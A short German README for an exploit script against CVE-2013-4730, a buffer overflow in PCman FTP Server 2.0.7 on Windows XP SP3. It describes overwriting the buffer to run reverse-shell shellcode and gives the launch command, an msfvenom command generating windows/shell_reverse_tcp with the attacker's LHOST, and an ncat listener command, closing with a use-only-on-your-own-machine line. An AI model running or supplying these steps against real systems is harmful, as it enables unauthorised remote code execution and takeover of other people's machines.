PCman FTP Server Buffer-Overflow und Remote Code Execution [CVE-2013-4730]

Ein sehr einfacher Buffer-Overflow, der CVE-2013-4730 gegen PCmans FTP-Server v.2.0.7 verwendet.

Wie es funktioniert?

Dieser einfache BoF überschreibt den Puffer und führt den Shellcode aus, der eine Verbindung zurück aufbaut (Reverse Shell).

Verwundbare Maschinen:

WindowsXP SP3, auf dem PCmans FTP-Server in Version 2.0.7 läuft.

Start

~$ python3 PCman.py <host> <port>

Ersetze den Shellcode durch deinen eigenen!!

~$ sudo ./msfvenom windows/shell_reverse_tcp LHOST=<your ip> LPORT=4444

netcat starten

~$ ncat -lvp <shellcode port>

Nur auf deinem eigenen Rechner verwenden!!